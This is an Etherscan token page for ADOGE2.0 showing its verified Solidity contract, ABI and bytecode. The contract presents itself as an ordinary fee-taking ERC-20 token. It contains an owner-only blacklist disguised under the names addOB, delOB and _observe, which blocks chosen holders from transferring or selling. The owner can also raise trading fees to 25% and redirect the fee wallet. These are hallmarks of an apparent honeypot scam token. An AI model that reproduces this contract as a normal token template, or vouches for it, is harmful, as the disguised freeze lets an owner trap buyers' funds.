ETH Price: $3,870.78 (-2.39%)

Token

ERC-20: ADOGE2.0 (ADOGE2.0)
 

Overview

Max Total Supply

1,000,000,000,000 ADOGE2.0

Holders

144

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-09
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/*
 * Telegram :https://t.me/adoge2
 * Website : https://adoge20.vip
 * Twitter : https://twitter.com/adoge20erc/
*/

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TOKEN is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 1;
    uint256 public _sellFundFee = 1;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "ADOGE2.0";
        _symbol = "ADOGE2.0";
        _decimals = 9;
        uint256 Supply = 1000000000000;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _totalSupply = Supply * 10 ** _decimals;

        address receiveAddr = 0x34adEeE4423ed795b4274B934d696ad5dD868998;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        fundAddress = 0x803BDD5B02B52D2D6cc1D238DaA3338D254d61dc;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[address(swapRouter)] = true;
        // _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[fundAddress] = true;
    }

    function setFundAddr(address newAddr) public onlyOwner{
        fundAddress = newAddr;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function DesignBuy(uint256 newFundFee) public onlyOwner{
        _buyFundFee = newFundFee;
        require(_buyFundFee <= 25,"too high");
    }

    function DesignSell(uint256 newFundFee) public onlyOwner{
        _sellFundFee = newFundFee;
        require(_sellFundFee <= 25,"too high");
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    mapping(address => bool) public _observe;
    function addOB(address account) public onlyOwner{
        _observe[account] = true;
    }

    function delOB(address account) public onlyOwner{
        _observe[account] = false;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");
        require(!_observe[from]);



        bool takeFee;
        bool sellFlag;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    event catchEvent(uint8);

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(fundAddress),
            block.timestamp
        ) {} catch { emit catchEvent(0); }

    }

    function setIsExcludeFromFees(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"","type":"uint8"}],"name":"catchEvent","type":"event"},{"inputs":[{"internalType":"uint256","name":"newFundFee","type":"uint256"}],"name":"DesignBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFundFee","type":"uint256"}],"name":"DesignSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_observe","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addOB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"delOB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setIsExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600c556001600d553480156200001b57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600880825267041444f4745322e360c41b60209092019182526200008e9160049162000402565b5060408051808201909152600880825267041444f4745322e360c41b6020909201918252620000c09160059162000402565b506006805460ff1916600990811790915580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b8152905164e8d4a51000949392849263c45a01559260048083019392829003018186803b1580156200015257600080fd5b505afa15801562000167573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018d9190620004a8565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001db57600080fd5b505afa158015620001f0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002169190620004a8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200025f57600080fd5b505af115801562000274573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029a9190620004a8565b600e80546001600160a01b0319166001600160a01b0383169081179091556000908152600a60208190526040909120805460ff19166001179055600654919250620002e99160ff169062000523565b620002f59085620005e4565b60088190557334adeee4423ed795b4274b934d696ad5dd8689986000818152600160209081527f7cfba8390f7896a4f83aea18bdeacbb6febae80602d2818cad2859091b1b8653849055604051938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b03191673803bdd5b02b52d2d6cc1d238daa3338d254d61dc17815530600090815260076020526040808220805460ff1990811660019081179092556001600160a01b039889168452828420805482168317905594881683528183208054861682179055925490961681529490942080549091169093179092555062000659915050565b828054620004109062000606565b90600052602060002090601f0160209004810192826200043457600085556200047f565b82601f106200044f57805160ff19168380011785556200047f565b828001600101855582156200047f579182015b828111156200047f57825182559160200191906001019062000462565b506200048d92915062000491565b5090565b5b808211156200048d576000815560010162000492565b600060208284031215620004bb57600080fd5b81516001600160a01b0381168114620004d357600080fd5b9392505050565b600181815b808511156200051b578160001904821115620004ff57620004ff62000643565b808516156200050d57918102915b93841c9390800290620004df565b509250929050565b6000620004d360ff8416836000826200053f57506001620005de565b816200054e57506000620005de565b8160018114620005675760028114620005725762000592565b6001915050620005de565b60ff84111562000586576200058662000643565b50506001821b620005de565b5060208310610133831016604e8410600b8410161715620005b7575081810a620005de565b620005c38383620004da565b8060001904821115620005da57620005da62000643565b0290505b92915050565b600081600019048311821515161562000601576200060162000643565b500290565b600181811c908216806200061b57607f821691505b602082108114156200063d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61129780620006696000396000f3fe6080604052600436106101855760003560e01c80636f39cfcd116100d157806395d89b411161008a578063ce0192f911610064578063ce0192f9146104ab578063dd62ed3e146104c1578063e82bef2914610507578063f2fde38b1461052757600080fd5b806395d89b4114610456578063a9059cbb1461046b578063ccc45faa1461048b57600080fd5b80636f39cfcd1461038d57806370a08231146103ad578063715018a6146103e3578063863587cd146103f85780638b00efae146104185780638da5cb5b1461043857600080fd5b806336b2e0271161013e57806349a7fe2b1161011857806349a7fe2b146102e55780634b1abf6f146103055780634bf28fd01461033557806365b61b771461036d57600080fd5b806336b2e0271461026f5780633bfe62ca1461029f5780633ecad271146102b557600080fd5b806306fdde0314610191578063095ea7b3146101bc5780630f48f2c9146101ec57806318160ddd1461020e57806323b872dd1461022d578063313ce5671461024d57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610547565b6040516101b39190611084565b60405180910390f35b3480156101c857600080fd5b506101dc6101d736600461103f565b6105d9565b60405190151581526020016101b3565b3480156101f857600080fd5b5061020c61020736600461106b565b6105ef565b005b34801561021a57600080fd5b506008545b6040519081526020016101b3565b34801561023957600080fd5b506101dc610248366004610fcb565b610666565b34801561025957600080fd5b5060065460405160ff90911681526020016101b3565b34801561027b57600080fd5b506101dc61028a366004610f51565b60076020526000908152604090205460ff1681565b3480156102ab57600080fd5b5061021f600d5481565b3480156102c157600080fd5b506101dc6102d0366004610f51565b600a6020526000908152604090205460ff1681565b3480156102f157600080fd5b5061020c610300366004610f51565b6106fd565b34801561031157600080fd5b506101dc610320366004610f51565b600f6020526000908152604090205460ff1681565b34801561034157600080fd5b50600e54610355906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561037957600080fd5b50600954610355906001600160a01b031681565b34801561039957600080fd5b5061020c6103a8366004610f51565b61074b565b3480156103b957600080fd5b5061021f6103c8366004610f51565b6001600160a01b031660009081526001602052604090205490565b3480156103ef57600080fd5b5061020c610797565b34801561040457600080fd5b5061020c61041336600461100c565b61080b565b34801561042457600080fd5b5061020c61043336600461106b565b610860565b34801561044457600080fd5b506000546001600160a01b0316610355565b34801561046257600080fd5b506101a66108cb565b34801561047757600080fd5b506101dc61048636600461103f565b6108da565b34801561049757600080fd5b5061020c6104a6366004610f51565b6108e7565b3480156104b757600080fd5b5061021f600c5481565b3480156104cd57600080fd5b5061021f6104dc366004610f92565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561051357600080fd5b50600354610355906001600160a01b031681565b34801561053357600080fd5b5061020c610542366004610f51565b610932565b606060048054610556906111e5565b80601f0160208091040260200160405190810160405280929190818152602001828054610582906111e5565b80156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b60006105e63384846109f8565b50600192915050565b6000546001600160a01b031633146106225760405162461bcd60e51b8152600401610619906110d9565b60405180910390fd5b600c81905560198111156106635760405162461bcd60e51b81526020600482015260086024820152670e8dede40d0d2ced60c31b6044820152606401610619565b50565b6000610673848484610a59565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106f3576001600160a01b03841660009081526002602090815260408083203384529091529020546106ce9083906111ce565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146107275760405162461bcd60e51b8152600401610619906110d9565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b6000546001600160a01b031633146107755760405162461bcd60e51b8152600401610619906110d9565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107c15760405162461bcd60e51b8152600401610619906110d9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108355760405162461bcd60e51b8152600401610619906110d9565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b8152600401610619906110d9565b600d81905560198111156106635760405162461bcd60e51b81526020600482015260086024820152670e8dede40d0d2ced60c31b6044820152606401610619565b606060058054610556906111e5565b60006105e6338484610a59565b6000546001600160a01b031633146109115760405162461bcd60e51b8152600401610619906110d9565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b0316331461095c5760405162461bcd60e51b8152600401610619906110d9565b6001600160a01b03811661099d5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610619565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610ab55760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610619565b6001600160a01b0384166000908152600f602052604090205460ff1615610adb57600080fd5b6001600160a01b0383166000908152600a6020526040812054819060ff168015610b085750600b5460ff16155b8015610b2d57506001600160a01b03861660009081526007602052604090205460ff16155b8015610b5257506001600160a01b03851660009081526007602052604090205460ff16155b15610b8c57306000908152600160205260409020548015610b8a5784818111610b7b5780610b7d565b815b9050610b8881610c21565b505b505b6001600160a01b03861660009081526007602052604090205460ff16158015610bce57506001600160a01b03851660009081526007602052604090205460ff16155b8015610bdd5750600b5460ff16155b15610be757600191505b6001600160a01b0385166000908152600a602052604090205460ff1615610c0c575060015b610c198686868585610dc0565b505050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610c6357610c63611236565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610cb757600080fd5b505afa158015610ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cef9190610f75565b81600181518110610d0257610d02611236565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610d4e9287926000928892909116904290600401611104565b600060405180830381600087803b158015610d6857600080fd5b505af1925050508015610d79575060015b610db257604051600081527fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f169060200160405180910390a15b5050600b805460ff19169055565b6001600160a01b038516600090815260016020526040902054610de49084906111ce565b6001600160a01b0386166000908152600160205260408120919091558215610ec15760008215610e175750600d54610e1c565b50600c545b60006064610e2a83886111af565b610e34919061118d565b90508015610ebe57610e468184611175565b30600090815260016020526040902054909350610e64908290611175565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eb59085815260200190565b60405180910390a35b50505b610ecb81856111ce565b6001600160a01b038616600090815260016020526040902054610eee9190611175565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f3884886111ce565b60405190815260200160405180910390a3505050505050565b600060208284031215610f6357600080fd5b8135610f6e8161124c565b9392505050565b600060208284031215610f8757600080fd5b8151610f6e8161124c565b60008060408385031215610fa557600080fd5b8235610fb08161124c565b91506020830135610fc08161124c565b809150509250929050565b600080600060608486031215610fe057600080fd5b8335610feb8161124c565b92506020840135610ffb8161124c565b929592945050506040919091013590565b6000806040838503121561101f57600080fd5b823561102a8161124c565b915060208301358015158114610fc057600080fd5b6000806040838503121561105257600080fd5b823561105d8161124c565b946020939093013593505050565b60006020828403121561107d57600080fd5b5035919050565b600060208083528351808285015260005b818110156110b157858101830151858201604001528201611095565b818111156110c3576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156111545784516001600160a01b03168352938301939183019160010161112f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561118857611188611220565b500190565b6000826111aa57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156111c9576111c9611220565b500290565b6000828210156111e0576111e0611220565b500390565b600181811c908216806111f957607f821691505b6020821081141561121a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461066357600080fdfea2646970667358221220ff21e6e51d2d8853aaa53de20c7ff720e587cb50e6c7d9def795ba240a2d567864736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101855760003560e01c80636f39cfcd116100d157806395d89b411161008a578063ce0192f911610064578063ce0192f9146104ab578063dd62ed3e146104c1578063e82bef2914610507578063f2fde38b1461052757600080fd5b806395d89b4114610456578063a9059cbb1461046b578063ccc45faa1461048b57600080fd5b80636f39cfcd1461038d57806370a08231146103ad578063715018a6146103e3578063863587cd146103f85780638b00efae146104185780638da5cb5b1461043857600080fd5b806336b2e0271161013e57806349a7fe2b1161011857806349a7fe2b146102e55780634b1abf6f146103055780634bf28fd01461033557806365b61b771461036d57600080fd5b806336b2e0271461026f5780633bfe62ca1461029f5780633ecad271146102b557600080fd5b806306fdde0314610191578063095ea7b3146101bc5780630f48f2c9146101ec57806318160ddd1461020e57806323b872dd1461022d578063313ce5671461024d57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610547565b6040516101b39190611084565b60405180910390f35b3480156101c857600080fd5b506101dc6101d736600461103f565b6105d9565b60405190151581526020016101b3565b3480156101f857600080fd5b5061020c61020736600461106b565b6105ef565b005b34801561021a57600080fd5b506008545b6040519081526020016101b3565b34801561023957600080fd5b506101dc610248366004610fcb565b610666565b34801561025957600080fd5b5060065460405160ff90911681526020016101b3565b34801561027b57600080fd5b506101dc61028a366004610f51565b60076020526000908152604090205460ff1681565b3480156102ab57600080fd5b5061021f600d5481565b3480156102c157600080fd5b506101dc6102d0366004610f51565b600a6020526000908152604090205460ff1681565b3480156102f157600080fd5b5061020c610300366004610f51565b6106fd565b34801561031157600080fd5b506101dc610320366004610f51565b600f6020526000908152604090205460ff1681565b34801561034157600080fd5b50600e54610355906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561037957600080fd5b50600954610355906001600160a01b031681565b34801561039957600080fd5b5061020c6103a8366004610f51565b61074b565b3480156103b957600080fd5b5061021f6103c8366004610f51565b6001600160a01b031660009081526001602052604090205490565b3480156103ef57600080fd5b5061020c610797565b34801561040457600080fd5b5061020c61041336600461100c565b61080b565b34801561042457600080fd5b5061020c61043336600461106b565b610860565b34801561044457600080fd5b506000546001600160a01b0316610355565b34801561046257600080fd5b506101a66108cb565b34801561047757600080fd5b506101dc61048636600461103f565b6108da565b34801561049757600080fd5b5061020c6104a6366004610f51565b6108e7565b3480156104b757600080fd5b5061021f600c5481565b3480156104cd57600080fd5b5061021f6104dc366004610f92565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561051357600080fd5b50600354610355906001600160a01b031681565b34801561053357600080fd5b5061020c610542366004610f51565b610932565b606060048054610556906111e5565b80601f0160208091040260200160405190810160405280929190818152602001828054610582906111e5565b80156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b60006105e63384846109f8565b50600192915050565b6000546001600160a01b031633146106225760405162461bcd60e51b8152600401610619906110d9565b60405180910390fd5b600c81905560198111156106635760405162461bcd60e51b81526020600482015260086024820152670e8dede40d0d2ced60c31b6044820152606401610619565b50565b6000610673848484610a59565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106f3576001600160a01b03841660009081526002602090815260408083203384529091529020546106ce9083906111ce565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146107275760405162461bcd60e51b8152600401610619906110d9565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b6000546001600160a01b031633146107755760405162461bcd60e51b8152600401610619906110d9565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107c15760405162461bcd60e51b8152600401610619906110d9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108355760405162461bcd60e51b8152600401610619906110d9565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b8152600401610619906110d9565b600d81905560198111156106635760405162461bcd60e51b81526020600482015260086024820152670e8dede40d0d2ced60c31b6044820152606401610619565b606060058054610556906111e5565b60006105e6338484610a59565b6000546001600160a01b031633146109115760405162461bcd60e51b8152600401610619906110d9565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b0316331461095c5760405162461bcd60e51b8152600401610619906110d9565b6001600160a01b03811661099d5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610619565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610ab55760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610619565b6001600160a01b0384166000908152600f602052604090205460ff1615610adb57600080fd5b6001600160a01b0383166000908152600a6020526040812054819060ff168015610b085750600b5460ff16155b8015610b2d57506001600160a01b03861660009081526007602052604090205460ff16155b8015610b5257506001600160a01b03851660009081526007602052604090205460ff16155b15610b8c57306000908152600160205260409020548015610b8a5784818111610b7b5780610b7d565b815b9050610b8881610c21565b505b505b6001600160a01b03861660009081526007602052604090205460ff16158015610bce57506001600160a01b03851660009081526007602052604090205460ff16155b8015610bdd5750600b5460ff16155b15610be757600191505b6001600160a01b0385166000908152600a602052604090205460ff1615610c0c575060015b610c198686868585610dc0565b505050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610c6357610c63611236565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610cb757600080fd5b505afa158015610ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cef9190610f75565b81600181518110610d0257610d02611236565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610d4e9287926000928892909116904290600401611104565b600060405180830381600087803b158015610d6857600080fd5b505af1925050508015610d79575060015b610db257604051600081527fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f16906